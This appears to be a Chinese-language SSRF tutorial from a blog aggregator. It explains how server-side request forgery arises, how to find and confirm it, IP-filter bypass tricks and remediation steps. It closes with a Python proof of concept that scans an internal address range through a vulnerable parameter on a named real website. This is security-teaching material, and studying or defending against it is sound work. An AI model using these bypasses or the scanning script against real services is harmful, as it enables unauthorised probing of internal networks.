4_SSRF
SSRF
SSRF(服务请求伪造)是一种由攻击者构造形成由服务器端发起请求的一个安全漏洞,它将一个可以发起网络请求
的服务当作跳板来攻击其他服务器,SSRF的攻击目标一般是内网。
当服务器提供了从其他服务器获取数据的功能(如:从指定URL地址获取网页文本内容、加载指定地址的图片,下
载等),但是没有对目标地址做过滤与限制时就会出现SSRF。
SSRF的危害
可以扫描内部网络
可以构造数据攻击内部主机
漏洞挖掘
其实只要能对外发起网络请求就有可能存在SSRF漏洞
1.从WEB功能上寻找
通过URL分享内容
文本处理、编码处理、转码等服务
在线翻译
通过URL地址加载与下载图片
图片、文章的收藏
设置邮件接收服务器
2.从URL关键字寻找
share、wap、url、link、src、source、target、u、3g、display、sourceURL、domain...
3.burpsuite插件自动化检测ssrf漏洞
漏洞验证
http://www.douban.com/***/service?image=http://www.baidu.com/img/bd_logo1.png
1.右键在新窗口中打开图片,若浏览器上URL地址为http://www.baidu.com/img/bd_logo1.png
说明不存在SSRF漏洞。
2.firebug看网络连接信息,若没有http://www.baidu.com/img/bd_logo1.png这个图片请求。
则证明图片是豆瓣服务器端发起的请求,则可能存在SSRF漏洞。
找存在HTTP服务的内网地址:
1.从漏洞平台中的历史漏洞寻找泄露的存在web应用内网地址。
2.通过二级域名暴力猜测工具模糊猜测内网地址。
漏洞利用放式
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
2.攻击运行在内网或本地的应用程序(比如溢出)。
3.对内网web应用进行指纹识别,通过访问默认文件实现。
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struct2,sqli等)
5.利用file协议读取本地文件等。
绕过过滤
有时漏洞利用时会遇到IP限制,可用如下方法绕过:
*使用@:http://A.com@10.10.10.10 = 10.10.10.10
*IP地址转换成十进制、八进制:127.0.0.1 = 2130706433
*使用短地址:http://10.10.116.11 = http://t.cn/RwbLKDx
*端口绕过:IP后面加一个端口
*xip.io:10.0.0.1.xip.io = 10.0.0.1
www.10.0.0.1.xip.io = 10.0.0.1
mysite.10.0.0.1.xip.io = 10.0.0.1
foo.bar.10.0.0.1.xip.io = 10.0.0.1
*通过js跳转
通用的SSRF实例
*weblogin配置不当,天生ssrf漏洞
*discuz x2.5/x3.0/x3.1/x3.2 ssrf漏洞
*CVE-2016-1897/8 - FFMpeg
*CVE-2016-3718 - ImageMagick
修复方案
1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。
如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准
2.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3.限制请求的端口为http常用的端口,比如,80,443,8080,8090
4.黑名单内网IP,避免应用被用来获取内网数据,攻击内网。
5.禁用不需要的协议,仅仅允许http和https请求。
附POC
#!/usr/bin/env python
# -*- coding: utf-8 -*- import re
import requests
from IPy import IP
import Queue
import threading def get_url_queue():
url = "http://www.sogou.com/reventondc/external?key=&objid=&type=2&charset=utf-8&url=http://"
urllist = Queue.Queue()
ip_list = IP('10.146.20.0/24')
port_list = ['80','8000','8080']
for ip_add in ip_list:
ip_add = str(ip_add)
for port in port_list:
url_t = url + ip_add + ':' + port
urllist.put(url_t)
return urllist def get_title(urllist):
while not urllist.empty():
url = urllist.get()
html = requests.get(url).text
patt = r'<title>(.*?)</title>'
m = re.search(patt,html)
if m:
title = m.group(1)
print "%s\t%s" % (url,title) urllist = get_url_queue()
print "start get title..."
for x in xrange(1,30):
t = threading.Thread(target=get_title,args=(urllist,))
t.start()
4_SSRF的更多相关文章
随机推荐
- Ubuntu14.04桌面系统允许root登录
首先安装完系统后,在登录界面我们可以看到不允许root账户登录.以普通账户登录系统,打开终端.执行如下命令来设置root密码: sudo passwd root 然后执行命令修改如下配置文件: vi ...
- django MVC模式 数据库的操作mysql
介绍:本节课我们继续学习djangoWEB框架的开发,这节课主要是学习如何访问数据库,django如何自动为我们创建好表结构等相关内容. 1.首先我们打开settings.py找到DATABASES关 ...
- Result Maps collection does not contain value for...
出现上述错误 主要是因为你的select标签内部的resultMap属性指向的不正确 在sql文件中只要有一个resultMap或resultType属性指向错误,则在这个文件中其余正确的语句也不能执 ...
- 快速搞定selenium grid分布式
写这篇文章,似乎有点重复造轮子的嫌疑.当看了几篇相关文章后,我还是决定把半年前的半成品给完成了. 以传统的方式部署分布式Selenium Grid集群需要耗费大量时间和机器成本来准备测试环境. Sna ...
- 前端十万个为什么(之一):我们为什么需要npm?
p.p1 { margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px ".PingFang SC"; color: #454545 } span ...
- (转)如何将 Excel 文件导入到 Navicat for MySQL 数据库
场景:工作中需要统计一段时间的加班时长,人工统计太过麻烦,就想到使用程序实现来统计 1 如何将 Excel 文件导入到 Navicat for MySQL 数据库 Navicat for MySQL ...
- PDF安全模式破解的简单办法
网上下电子书时,经常会遇到 电子书被加密的情况,此时读者将无法进行标亮,加注释等基本的操作.网上的方法都是建议下个 PDFPasswodRemove 的软件,麻烦而且软件不好用.经各种研究,尝试,发现 ...
- FPGA计算3行同列数据之和
实验:FPGA计算3行同列数据之和 实验要求:PC机通过串口发送3行数据(一行有56个数据,3行共有56*3=168个数据)给FPGA,FPGA计算3行同一列数据的和,并将结果通过串口返回给上位机. ...
- Angular4.0学习笔记 从入门到实战打造在线竞拍网站学习笔记之二--路由
Angular4.0基础知识见上一篇博客 路由 简介 接下来学习路由的相关知识 本来是不准备写下去的,因为当时看视频学的时候感觉自己掌握的不错 ( 这是一个灰常不好的想法 ) ,过了一段时间才发现An ...
- ORACLE - 管理表空间和数据文件
ORACLE表空间是一个逻辑分区,一个数据文件只能属于一个表空间,一个表空间可以拥有多个数据文件. 一般情况下,如果一个实例分配给多个应用使用,需要创建不同的表空间,每个用户使用自己的表空间. 一.表 ...